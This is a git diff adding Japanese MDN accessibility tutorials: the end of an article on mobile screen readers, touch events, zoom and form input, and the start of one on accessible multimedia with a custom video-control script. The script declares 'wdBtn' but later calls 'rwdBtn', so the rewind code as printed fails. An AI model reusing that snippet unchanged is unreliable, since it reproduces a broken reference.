をオフにしたい場合は、</p> + +<ol> + <li>上記のジェスチャーを使用して [設定] アプリに移動します。</li> + <li>[ユーザー補助] > [TalkBack] に移動します。</li> + <li>スライダースイッチに移動してアクティブにすると、オフになります。</li> +</ol> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 連続した動きで上にスワイプしてから左にスワイプすると、いつでもホーム画面にアクセスできます。複数のホーム画面がある場合は、左右に 2本指でスワイプすることでそれらの間を移動できます。</p> +</div> + +<p>TalkBack ジェスチャーのより完全なリストについては、<a href="https://support.google.com/accessibility/android/answer/6151827?hl=ja">TalkBack ジェスチャーを利用する</a>を参照してください。</p> + +<h4 id="Unlocking_the_phone" name="Unlocking_the_phone">端末のロックを解除する</h4> + +<p>TalkBack がオンになっているとき、端末のロック解除は少し違います。</p> + +<p>ロック画面の下から上に 2本指でスワイプすることができます。デバイスのロックを解除するためのパスコードまたはパターンを設定している場合は、関連する入力画面に移動して入力します。</p> + +<p>画面の中央下部にある [ロック解除] ボタンをタッチで探索してから、ダブルタップすることもできます。</p> + +<h4 id="Global_and_local_menus" name="Global_and_local_menus">グローバルメニューとローカルメニュー</h4> + +<p>TalkBack を使用すると、デバイス上のどこに移動しても、グローバルおよびローカルのコンテキストメニューにアクセスできます。前者はデバイス全体に関するグローバルオプションを提供し、後者は現在のアプリや画面だけに関するオプションを提供します。</p> + +<p>これらのメニューにアクセスするには、</p> + +<ol> + <li>すばやく下にスワイプしてから右にスワイプしてグローバルメニューにアクセスします。</li> + <li>すばやく上にスワイプしてから右にスワイプしてローカルメニューにアクセスします。</li> + <li>左右にスワイプしてさまざまなオプションを切り替えます。</li> + <li>必要なオプションを選択したら、ダブルタップしてそのオプションを選択します。</li> +</ol> + +<p>グローバルおよびローカルのコンテキストメニューで使用可能なすべてのオプションの詳細については、<a href="https://support.google.com/accessibility/android/answer/6007066?hl=ja">グローバル コンテキストメニューとローカル コンテキスト メニューを使う</a>を参照してください。</p> + +<h4 id="Browsing_web_pages" name="Browsing_web_pages">ウェブページのブラウジング</h4> + +<p>ウェブブラウザーでローカルコンテキストメニューを使用して、見出し、フォームコントロール、リンク、行単位の移動などウェブページを移動するためのオプションを見つけることができます。</p> + +<p>例えば、TalkBack をオンにした場合、</p> + +<ol> + <li>ウェブブラウザーを開きます。</li> + <li>URL バーをアクティブにします。</li> + <li>Ebbc.co.uk のフロントページのように、見出しがたくさんあるウェブページを入力します。URL のテキストを入力するには、 + <ul> + <li>URL バーが得られるまで左右にスワイプしてから、ダブルタップして URL バーを選択します。</li> + <li>目的の文字が得られるまで仮想キーボードに指を置いたまま動かしてから、指を離して入力します。これを各文字について繰り返します。</li> + <li>終わったら、<kbd>Enter</kbd> キーを見つけて押します。</li> + </ul> + </li> + <li>左右にスワイプすると、ページ上のさまざまな項目間を移動できます。</li> + <li>連続した動きで上にスワイプしてから右にスワイプして、ローカルコンテキストメニューに入ります。</li> + <li>[見出しとランドマーク] オプションが見つかるまで右にスワイプします。</li> + <li>ダブルタップして選択します。これで、見出しと ARIA のランドマークの間を移動するために左右にスワイプすることができます。</li> + <li>デフォルトモードに戻るには、上にスワイプしてから右にスワイプしてローカルコンテキストメニューに再度入り、[デフォルト] を選択してからダブルタップしてアクティブにします。</li> +</ol> + +<p><strong>注</strong>: より完全なドキュメントは <a href="https://support.google.com/accessibility/android/answer/6283677?hl=ja">Android で TalkBack を使ってみる</a>をご覧ください。</p> + +<h3 id="iOS_VoiceOver" name="iOS_VoiceOver">iOS VoiceOver</h3> + +<p>VoiceOver のモバイル版は iOS オペレーティングシステムに組み込まれています。</p> + +<p>それをオンにするには、あなたの設定アプリに行き、[一般] > [アクセシビリティ] > [VoiceOver] を選択してください。VoiceOver スライダを押して有効にします（このページには VoiceOver に関連する他の多数のオプションも表示されます）。</p> + +<div class="blockIndicator note"> +<p><strong>記</strong>: 古い iOS 端末では VoiceOver メニューは <em>設定</em> > <em>一般</em> > <em>アクセシビリティ</em> > <em>VoiceOver</em>にあります。</p> +</div> + +<p>VoiceOver が有効になると、iOS の基本的なコントロールジェスチャーは次のように少し違います。</p> + +<ol> + <li>シングルタップすると、タップした項目が選択されます。デバイスはあなたがタップした項目を読み上げるでしょう。</li> + <li>左右にスワイプして項目間を移動したり、画面上で指をスライドさせてさまざまな項目間を移動したりして、画面上の項目を移動することもできます（必要な項目が見つかったら、指を離して選択できます）。</li> + <li>選択した項目をアクティブにする（例えば、選択したアプリを開く）には、画面上のどこでもダブルタップします。</li> + <li>3本指でスワイプしてページをスクロールします。</li> + <li>カメラアプリで写真を撮るなど、状況に応じたアクションを実行するには、2本指でタップします。</li> +</ol> + +<p>もう一度オフにするには、上記のジェスチャを使用して [設定] > [一般] > [アクセシビリティ] > [VoiceOver] に戻り、[VoiceOver] スライダをオフに切り替えます。</p> + +<h4 id="Unlock_phone" name="Unlock_phone">端末のロック解除</h4> + +<p>端末のロックを解除するには、通常どおりホームボタンを押す（またはスワイプする）必要があります。パスコードが設定されている場合は、上で説明したようにスワイプ/スライドして各番号を選択し、次に正しい番号を見つけたらダブルタップして各番号を入力できます。</p> + +<h4 id="Using_the_Rotor" name="Using_the_Rotor">ローターを使用する</h4> + +<p>VoiceOver がオンになっているとき、ローターと呼ばれるナビゲーション機能を使えます。それは素早く多くの一般的で役に立つオプションから選ぶことを可能にします。それを使用するには、</p> + +<ol> + <li>ダイヤルを回すように、画面上で 2本の指をひねります。あなたがさらにひねるにつれて、各オプションを読み上げるでしょう。あなたは行ったり来たりしてオプションを切り替えることができます。</li> + <li>あなたが望むオプションを見つけたら、 + <ul> + <li>指を離して選択します。</li> + <li>それが（音量や話す速度のような）値を反復できるオプションである場合は、選択した項目の値を増減するために上下にスワイプすることができます。</li> + </ul> + </li> +</ol> + +<p>ローターで利用可能なオプションは状況依存型です — それらはどのアプリやビューにいるかによって異なります（例については下記を参照）。</p> + +<h4 id="Browsing_web_pages_2" name="Browsing_web_pages_2">ウェブページのブラウジング</h4> + +<p>VoiceOver を使ったウェブブラウジングを試してみましょう。</p> + +<ol> + <li>ウェブブラウザーを開きます。</li> + <li>URL バーをアクティブにします。</li> + <li>bbc.co.uk のフロントページのように、見出しがたくさんあるウェブページを入力します。URL のテキストを入力するには、 + <ul> + <li> URL バーが得られるまで左右にスワイプしてダブルタップし、URL バーを選択します。</li> + <li>各文字について、目的の文字が得られるまで仮想キーボードに指を置いたまま動かしてから、指を離して選択します。ダブルタップして入力します。</li> + <li>終ったら、<kbd>Enter</kbd> キーを見つけて押します。</li> + </ul> + </li> + <li>左右にスワイプすると、ページ上の項目間を移動できます。項目をダブルタップして選択することができます（例えば、リンクをたどる）。</li> + <li>デフォルトでは、選択されたローターオプションは話す速度です。現在は上下にスワイプして話す速度を上げ下げできます。</li> + <li>今、ダイヤルのように 2本指で画面を回転させてローターを表示し、ローターのオプション間を移動します。利用可能なオプションの例をいくつか示します。 + <ul> + <li>話す速度: 話す速度を変更します。</li> + <li>コンテナ: ページ上のさまざまな意味論的コンテナ間を移動します。</li> + <li>見出し: ページ上の見出し間を移動します。</li> + <li>リンク: ページ上のリンク間を移動します。</li> + <li>フォームコントロール: ページ上のフォームコントロール間を移動します。</li> + <li>言語: 利用可能な場合は、さまざまな翻訳間を移動します。</li> + </ul> + </li> + <li>見出しを選択します。これで、上下にスワイプしてページ上の見出し間を移動できます。</li> +</ol> + +<p>注: 利用可能な VoiceOver ジェスチャおよび iOS でのアクセシビリティテストに関するその他のヒントを網羅した詳細なリファレンスについては、<a href="https://developer.apple.com/library/archive/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html">VoiceOver を使用してデバイスのアクセシビリティをテストする</a>（英語）を参照してください。</p> + +<h2 id="Control_mechanisms" name="Control_mechanisms">制御機構</h2> + +<p>CSS および JavaScript のアクセシビリティの記事では、特定の種類の制御機構に固有のイベントの概念を調べました（<a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events">マウスに特有のイベント</a>を参照）。要約すると、他の制御機構は関連する機能をアクティブにできないため、これらはアクセシビリティの問題を引き起こします。</p> + +<p>例えば、<a href="/ja/docs/Web/API/GlobalEventHandlers/onclick">click</a> イベントはアクセシビリティの点で優れています — 関連付けられているイベントハンドラは、ハンドラが設定されている要素をクリックするか、タブ移動して <kbd>Enter</kbd> / <kbd>Return</kbd> キーを押すか、タッチスクリーンデバイスでタップすることで起動できます。<a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html">simple-button-example.html</a> の例を試してみてください（<a href="http://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html">ライブで動いているのを見る</a>）。</p> + +<p>あるいは、<a href="/ja/docs/Web/API/GlobalEventHandlers/onmousedown">mousedown</a> や <a href="/ja/docs/Web/API/GlobalEventHandlers/onmouseup">mouseup</a> のようなマウス固有のイベントは問題を引き起こします — それらのイベントハンドラはマウス以外の制御を使って呼び出すことはできません。</p> + +<p>キーボードまたはタッチで、<a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html">simple-box-drag.html</a> の例を制御しようとすると、問題が発生します（<a href="http://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html">ライブで例を見る</a>）。これは、次のようなコードを使用しているために発生します。</p> + +<pre><code>div.onmousedown = function() { + initialBoxX = div.offsetLeft; + initialBoxY = div.offsetTop; + movePanel(); +} + +document.onmouseup = stopMove;</code></pre> + +<p>他の形式の制御を有効にするには、異なるが同等のイベントを使用する必要があります — 例えば、タッチイベントはタッチスクリーンデバイスで機能します。</p> + +<pre><code>div.ontouchstart = function(e) { + initialBoxX = div.offsetLeft; + initialBoxY = div.offsetTop; + positionHandler(e); + movePanel(); +} + +panel.ontouchend = stopMove;</code></pre> + +<p>マウスイベントとタッチイベントを一緒に使用する方法を示す簡単な例を示しました — <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html">multi-control-box-drag.html</a> を参照してください（<a href="http://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html">この例もライブで見てください</a>）。</p> + +<p><strong>注</strong>: <a href="/ja/docs/Games/Techniques/Control_mechanisms">ゲーム制御機構の実装</a>では、さまざまな制御機構を実装する方法を示す完全に機能する例も見ることができます。</p> + +<h2 id="Responsive_design" name="Responsive_design">レスポンシブデザイン</h2> + +<p><a href="/ja/docs/Web/Progressive_web_apps">レスポンシブデザイン</a>は、画面のサイズや解像度などの要因に応じて、レイアウトやその他のアプリの機能を動的に変更することです。だから、さまざまなデバイスタイプのユーザーにとって使用可能でアクセス可能です。</p> + +<p>特に、モバイルに関して対処する必要がある最も一般的な問題は次のとおりです。</p> + +<ul> + <li>モバイルデバイス用のレイアウトの適合性。例えば、複数列のレイアウトは狭い画面ではうまくいきませんし、見やすくするためにテキストサイズを大きくする必要があるかもしれません。このような問題は、<a href="/ja/docs/Web/CSS/Media_Queries">メディアクエリ</a>、<a href="/ja/docs/Mobile/Viewport_meta_tag">ビューポート</a>、<a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a>などの技術を使用してレスポンシブレイアウトを作成することで解決できます。</li> + <li>ダウンロードした画像サイズを節約する。一般的に、小型画面のデバイスは、デスクトップと同等の大きさの画像を必要としませんし、低速のネットワーク接続上にある可能性が高くなります。したがって、必要に応じて狭い画面のデバイスに小さい画像を提供することが賢明です。<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像のテクニック</a>を使用してこれを扱えます。</li> + <li>高解像度について考える。多くのモバイルデバイスは高解像度の画面を持っているため、ディスプレイがくっきりと鮮明に見えるようにするために、より高解像度の画像が必要です。ここでも、レスポンシブ画像テクニックを使用して、必要に応じて画像を提供できます。さらに、SVG ベクター画像フォーマットを使用して多くの画像要件を満たすことができます。これは今日のブラウザー間で十分にサポートされています。SVG はファイルサイズが小さく、表示されているサイズに関係なく鮮明に保たれます（詳細は<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">ウェブにベクターグラフィックスを追加する</a>を参照）。</li> +</ul> + +<p><strong>注</strong>: レスポンシブデザインのテクニックについては、MDN の他の場所で説明されているため、ここでは詳しく説明しません（上記のリンクを参照）。</p> + +<h3 id="Specific_mobile_considerations" name="Specific_mobile_considerations">特定のモバイルに関する考慮事項</h3> + +<p>モバイルでサイトにアクセスしやすくするために考慮すべき他の重要な問題があります。ここにその一部を列挙しましたが、私たちがそれらを考えるときにはさらに追加します。</p> + +<h4 id="Not_disabling_zoom" name="Not_disabling_zoom">ズームを無効にしない</h4> + +<p><a href="/ja/docs/Mobile/Viewport_meta_tag">ビューポート</a>を使用すると、ズームを無効にすることができます。常にリサイズ可能にして、{{htmlelement("head")}} で端末の幅にあわせるにはこうします:</p> + +<pre class="brush: html"><code><meta name="viewport" content="width=device-width; user-scalable=yes"></code></pre> + +<p>なるべく<code>user-scalable=no</code> とはセットしないでください — 多くの人があなたのウェブサイトのコンテンツを見るためにズームに頼るので、この機能を奪うことは本当に悪い考えです。ズーミングによって UI が壊れる場合があります。そのような場合、絶対にズームを無効にする必要があると感じる場合は、UI を壊さないようにテキストサイズを大きくするためのコントロールのような、他の同等の機能を提供するべきです。</p> + +<h4 id="Keeping_menus_accessible" name="Keeping_menus_accessible">メニューにアクセスしやすくする</h4> + +<p>モバイルデバイスでは画面が非常に狭いため、メディアクエリやその他の技術を使用して、ナビゲーションメニューをディスプレイ上部の小さなアイコンに縮小するのがとても一般的です — これは一般的に「3本の水平線」アイコンで表され、デザインパターンでは「ハンバーガーメニュー」と呼ばれています — サイトがモバイルで表示されるときに必要です。</p> + +<p>そのようなメニューを実装するときは、上記の制御機構で説明したように、それを明らかにするためのコントロールは適切な制御機構（通常はモバイル用タッチ）でアクセスできること確認する必要があります。また、メニューの操作中に混乱しないように、メニューにアクセスしている間はページの残りの部分が邪魔にならないように移動するか、何らかの方法で非表示にします。</p> + +<p><a href="http://fritz-weisshart.de/meg_men/">良いハンバーガーメニューの例</a>（ドイツ語）を参照してください。</p> + +<h2 id="User_input" name="User_input">ユーザー入力</h2> + +<p>モバイルデバイスでは、データを入力することは、デスクトップコンピューター上の同等の経験よりもユーザーにとってより面倒なことが多いです。タッチスクリーンの仮想キーボードや小型のモバイル物理キーボードよりも、デスクトップやラップトップのキーボードを使用してテキストをフォーム入力に入力する方が便利です。</p> + +<p>このため、必要なタイピングの量を最小限に抑えることを試みる価値があります。例として、通常のテキスト入力を使用して毎回ユーザーに役職を記入させるのではなく、最も一般的な選択肢を含む <select> メニューを提供できます（データ入力の一貫性を保つのにも役立ちます）。そして、それ以外の値を入力するテキストフィールドを表示する「その他」選択肢を提供できます。<a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html">common-job-types.html</a> で、このアイデアの簡単な例を実際に見ることができます（<a href="http://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html">一般的な仕事の例をライブで見る</a>）。</p> + +<p>モバイルプラットフォームでの日付などの HTML5 フォームの入力タイプを使用することも考慮する価値があります。例えば、Android と iOS の両方で、デバイスエクスペリエンスに適した使用可能なウィジェットが表示されます。いくつかの例については <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html">html5-form-examples.html</a> を参照してください（<a href="http://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html">HTML5 フォームの例をライブで見る</a>） - これらをモバイルデバイスでロードして操作してみてください。例えば、</p> + +<ul> + <li>番号（<code>number</code>）、電話番号（<code>tel</code>）、電子メール（<code>email</code>）の入力では、番号や電話番号を入力するための適切な仮想キーボードを表示します。</li> + <li>日時（<code>date</code>, <code>time</code>）の入力では、日時を選択するための適切なピッカーを表示します。</li> +</ul> + +<p>デスクトップとは別の解決策を提供したい場合は、機能検出を使用して、モバイルデバイスに常に別のマークアップを提供できます。さまざまな入力タイプの検出に関する生の情報については<a href="http://diveinto.html5doctor.com/detect.html#input-types">入力タイプ</a>（英語）を参照してください。また、より多くの情報については<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">機能検出の記事</a>をチェックしてください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事では、モバイルのアクセシビリティ固有の一般的な問題とその解決方法について詳しく説明しました。また、アクセシビリティテストを支援するために、最も一般的なスクリーンリーダーの使い方を紹介しました。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="https://www.smashingmagazine.com/guidelines-for-mobile-web-development/">モバイルウェブ開発のためのガイドライン</a>（英語） — モバイルウェブデザインのためのさまざまな技術を網羅した <em>Smashing Magazine</em> の記事のリスト。</li> + <li><a href="http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644">サイトをタッチデバイスで機能させる</a>（英語） — タッチイベントを使用してモバイルデバイスで対話を機能させるための便利な記事。</li> +</ul> + +<div>{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}</div> + +<div> +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは？</a></li> + <li><a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a></li> + <li><a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript">CSS と JavaScript のアクセシビリティのベスト・プラクティス</a></li> + <li><a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Multimedia">アクセシブルなマルチメディア</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Mobile">モバイルのアクセシビリティ</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Accessibility_troubleshooting">アクセシビリティのトラブルシューティング</a></li> +</ul> +</div> diff --git a/files/ja/learn/accessibility/multimedia/index.html b/files/ja/learn/accessibility/multimedia/index.html new file mode 100644 index 0000000000..e79aa9a6e9 --- /dev/null +++ b/files/ja/learn/accessibility/multimedia/index.html @@ -0,0 +1,371 @@ +--- +title: アクセシブルマルチメディア +slug: Learn/Accessibility/Multimedia +tags: + - Accessibility + - Article + - Audio + - Beginner + - CodingScripting + - HTML + - Images + - JavaScript + - Learn + - Multimedia + - Video + - captions + - subtitles + - text tracks +translation_of: Learn/Accessibility/Multimedia +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}</div> + +<p class="summary">アクセシビリティの問題を引き起こす他のカテゴリーは、マルチメディアでです。ビデオ、オーディオ、画像といったコンテンツは、支援技術 (assistive technologies) とユーザーが理解可能となる適切な代替テキストを必要とします。この記事ではその方法を説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターの知識、HTML 、CSS 、JavaScript に対する基本的な理解、 <a href="/ja/docs/Learn/Accessibility/What_is_accessibility">前回の記事</a> の理解</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>マルチメディアが引き起こすアクセシビリティの問題、およびその解決方法を理解すること</td> + </tr> + </tbody> +</table> + +<h2 id="Multimedia_and_accessibility" name="Multimedia_and_accessibility">マルチメディアとアクセシビリティ</h2> + +<p>このモジュールまで、様々なコンテンツに対してそのアクセシビリティを保証するために何が必要かを見てきました。シンプルな文章から始まって、データテーブル、画像、フォーム要素やボタンといったネイティブのコントロール、より複雑なマークアップ構造 (<a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a> 属性) などです。</p> + +<p>一方こちらの記事は、アクセシビリティの保証が難しい別のマルチメディアのコンテンツ群について扱っています。画像、ビデオ、{{htmlelement("canvas")}} 要素、Flash 動画などは、スクリーンリーダーによる理解やキーボードによるナビゲーションが容易ではないため、私たちが手を差し伸べる必要があります。</p> + +<p>ですが絶望はしないでください。ここではマルチメディアをアクセシブルにするために利用できる技術について紹介し、あなたの手助けをします。</p> + +<h2 id="Simple_images" name="Simple_images">シンプルな画像</h2> + +<p>私達は既に <a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a> で HTML 画像のシンプルな代替テキストについてカバーしました — 詳細を確認するために、そこに戻っても良いです。簡単に言うと、ビジュアルコンテンツとなり得るものは、スクリーンリーダーがユーザーのために読み上げることができるよう、代替テキストが利用可能であることを保証するべきです。</p> + +<p>例えば:</p> + +<pre class="brush: html"><img src="dinosaur.png" + alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> +</pre> + +<h2 id="Accessible_audio_and_video_controls" name="Accessible_audio_and_video_controls">アクセシブルなオーディオとビデオコントロール</h2> + +<p>ウェブベースのオーディオ/ビデオのコントロールを実装するのは問題にはならないはずですよね？調べてみましょう。</p> + +<h3 id="The_problem_with_native_HTML5_controls" name="The_problem_with_native_HTML5_controls">ネイティブ HTML5 コントロールの問題</h3> + +<p>HTML5 の video と audio インスタンスは、ビルトインのコントロールと一緒に提供されており、何も設定せずにメディアの制御を行うことができます。例えば (<code>native-controls.html</code> <a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/native-controls.html">ソースコード</a>と<a href="http://mdn.github.io/learning-area/accessibility/multimedia/native-controls.html">実際の動作</a>を参照):</p> + +<pre class="brush: html"><audio controls> + <source src="viper.mp3" type="audio/mp3"> + <source src="viper.ogg" type="audio/ogg"> + <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p> +</audio> + +<br> + +<video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> +</video></pre> + +<p>control 属性は、あなたがメディアプレイヤーに対して期待する再生/一時停止ボタンやシークバーといった基本的なコントロールを提供します。Firefox と Chrome では次のように表示されます。</p> + +<p><img alt="Screenshot of Video Controls in Firefox" src="https://mdn.mozillademos.org/files/14440/native-controls-firefox.png" style="display: block; height: 361px; margin: 0px auto; width: 400px;"></p> + +<p><img alt="Screenshot of Video Controls in Chrome" src="https://mdn.mozillademos.org/files/14438/native-controls-chrome.png" style="display: block; height: 344px; margin: 0px auto; width: 400px;"></p> + +<p>しかし、これらのコントロールには問題があります:</p> + +<ul> + <li>たいていのブラウザーではキーボードでアクセスできません。つまりネイティブプレイヤー内でコントロール間をタブ移動できません。Opera と Chrome ではいくらか動きますが、理想的なものではありません。</li> + <li>ネイティブコントロールは各ブラウザーによって異なるスタイルと機能が提供され、かつスタイリングすることができません。それは、サイトのスタイルガイドに従うのが容易ではないことを意味します。</li> +</ul> + +<p>これを改善するために、私たちは自分たちのカスタムコントロールを作成することができます。どのようにするのか見てみましょう。</p> + +<h3 id="Creating_custom_audio_and_video_controls" name="Creating_custom_audio_and_video_controls">カスタム audio/video コントロール</h3> + +<p>HTML5 の video と audio は HTML メディア要素という API を提供しています。これは、あなたが定義したボタンや他のコントロールにカスタム機能をマップすることを可能にします。</p> + +<p>上の video を例として、カスタムコントロールを追加してみましょう。</p> + +<h4 id="Basic_setup" name="Basic_setup">基本のセットアップ</h4> + +<p>はじめに、<a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls-start.html">custom-controls-start.html</a>、 <a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls.css">custom-controls.css</a>, <a href="https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.mp4">rabbit320.mp4</a>、そして <a href="https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.webm">rabbit320.webm</a> のコピーを取得し、あなたのハードドライブのディレクトリーに保存します</p> + +<p>main.js というファイルを新規作成し、同じディレクトリーに保存します。</p> + +<p>最初に、ビデオプレイヤーの HTML を見てみましょう。HTML の中は次のようになっています:</p> + +<pre class="brush: html"><section class="player"> + <video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> + </video> + + <div class="controls"> + <button class="playpause">Play</button> + <button class="stop">Stop</button> + <button class="rwd">Rwd</button> + <button class="fwd">Fwd</button> + <div class="time">00:00</div> + </div> +</section></pre> + +<h4 id="JavaScript_basic_setup" name="JavaScript_basic_setup">JavaScript の基本セットアップ</h4> + +<p>私たちは video の下にいくつかの簡単なボタンを挿入しました。もちろん、このままではこれらのコントロールは何もしません。機能を加えるためには JavaScript を使います。</p> + +<p>まずはそれぞれのコントロールの設定を保持しておく必要があります。JavaScript ファイルの先頭に次のコードを追加してください:</p> + +<pre class="brush: js">const playPauseBtn = document.querySelector('.playpause'); +const stopBtn = document.querySelector('.stop'); +const wdBtn = document.querySelector('.rwd'); +const fwdBtn = document.querySelector('.fwd'); +const timeLabel = document.querySelector('.time');</pre> + +<p>次に、video/audio プレイヤー自身の参照を取得する必要があります。次の行を先ほどのコードの下に加えてください:</p> + +<pre class="brush: js">const player = document.querySelector('video');</pre> + +<p>これは {{domxref("HTMLMediaElement")}} オブジェクトへの参照を保持します。このオブジェクトは、私たちのボタンに機能を紐づけるために使用可能ないくつかの便利なプロパティやメソッドを持っています。 </p> + +<p>私たちのボタンの機能を作る前に、カスタムコンロールの邪魔にならないようネイティブコントロールを削除しましょう。JavaScript の下に次のコードを追加してください:</p> + +<pre class="brush: js">player.removeAttribute('controls');</pre> + +<p>最初から controls 属性を含めないようにするのではなく、わざわざこのようにするのには理由があります。もし JavaScript コードが何らかの理由で失敗しても、ユーザーは利用可能な何かしらのコントロールを使うことができるのです。</p> + +<h4 id="Wiring_up_our_buttons" name="Wiring_up_our_buttons">ボタンを紐つける</h4> + +<p>最初に、再生/一時停止ボタンをセットアップしましょう。次のように、再生と一時停止をシンプルな条件によって切り替えることで、この機能を実現できます。これをあなたのコードの下に追加しましょう:</p> + +<pre class="brush: js">playPauseBtn.onclick = function() { + if(player.paused) { + player.play(); + playPauseBtn.textContent = 'Pause'; + } else { + player.pause(); + playPauseBtn.textContent = 'Play'; + } +};</pre> + +<p>次に、ストップボタンを制御する次のコードを下に追加しましょう:</p> + +<pre class="brush: js">stopBtn.onclick = function() { + player.pause(); + player.currentTime = 0; + playPauseBtn.textContent = 'Play'; +};</pre> + +<p>{{domxref("HTMLMediaElement")}} には <code>stop()</code> 関数がありません。そこで <code>pause()</code> 関数を使用し、同時に <code>currentTime</code> に 0 を設定します。</p> + +<p>続いて、巻き戻しと早送りボタンです。次のブロックをあなたのコードの下に追加してください:</p> + +<pre class="brush: js">rwdBtn.onclick = function() { + player.currentTime -= 3; +}; + +fwdBtn.onclick = function() { + player.currentTime += 3; + if(player.currentTime >= player.duration || player.paused) { + player.pause(); + player.currentTime = 0; + playPauseBtn.textContent = 'Play'; + } +};</pre> + +<p>これらはとてもシンプルで、クリックされる度に <code>currentTime</code> 単に 3 秒を足すか引くだけです。実際のビデオプレイヤーでは、あなたはもっと手の込んだものを作りたいでしょう。</p> + +<p>早送りボタンが押されたとき、 <code>currentTime</code> がメディアのトータルの <code>duration</code> よりも大きいか、そしてメディアが再生されていないかをチェックするという点についても気をつけてください。もしいずれかの条件が満たされているなら、ビデオが再生されていない時に早送りしようとしてもおかしくならないよう、単純にビデオを停止するか、ビデオの最後まで飛ばします。</p> + +<p>最後に、再生時間を表示するために次の内容をコードの最後に追加します:</p> + +<pre class="brush: js">player.ontimeupdate = function() { + let minutes = Math.floor(player.currentTime / 60); + let seconds = Math.floor(player.currentTime - minutes * 60); + let minuteValue; + let secondValue; + + if (minutes<10) { + minuteValue = "0" + minutes; + } else { + minuteValue = minutes; + } + + if (seconds<10) { + secondValue = "0" + seconds; + } else { + secondValue = seconds; + } + + mediaTime = minuteValue + ":" + secondValue; + timeLabel.textContent = mediaTime; +};</pre> + +<p>時間が更新される度に (1秒に一度) 、この関数を実行します。これは秒として渡された currentTime の値 (秒で与えられる) から分と秒の数を算定するもので、もし分か秒の値が 10 以下であれば先頭に 0 を追加し、表示用の値を生成して時間ラベルに追加します。 </p> + +<h4 id="Further_reading" name="Further_reading">参考記事</h4> + +<p>ここでは、video/audio プレイヤーに対してどのようにカスタムしたプレイヤー機能を加えるかという基本的なアイデアが得られます。video/audio プレイヤーに対して、古いブラウザーでの Flash のフォールバックも含めて、より複雑な機能を加えるには、以下のリンク先を参照してください:</p> + +<ul> + <li><a href="/ja/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and video delivery</a></li> + <li><a href="/ja/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Video player styling basics</a></li> + <li><a href="/ja/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a></li> +</ul> + +<p>さらに私たちは、あなたがどのようにしてオブジェクト指向システムを作ることができるかを見せるために高度な例も作りました。これは、ページ内のすべての video と audio プレイヤーを見つけ (どれだけ存在していたとしても)、私たちのカスタムコントロールを追加するものです。<a href="http://mdn.github.io/learning-area/accessibility/multimedia/custom-controls-OOJS/">custom-controls-oojs</a> を見てください (<a href="https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/custom-controls-OOJS">ソースコード</a>も見てください) 。</p> + +<h2 id="Audio_transcripts" name="Audio_transcripts">オーディオトランスクリプト(Audio transcripts)</h2> + +<p>聴覚障害の方にオーディオコンテンツを提供する場合、トランスクリプトのテキストを必ず用意する必要があります。これらは同じページの中に何らかの形で含んでも良いですし、リンクされた別ページに用意することもできます。</p> + 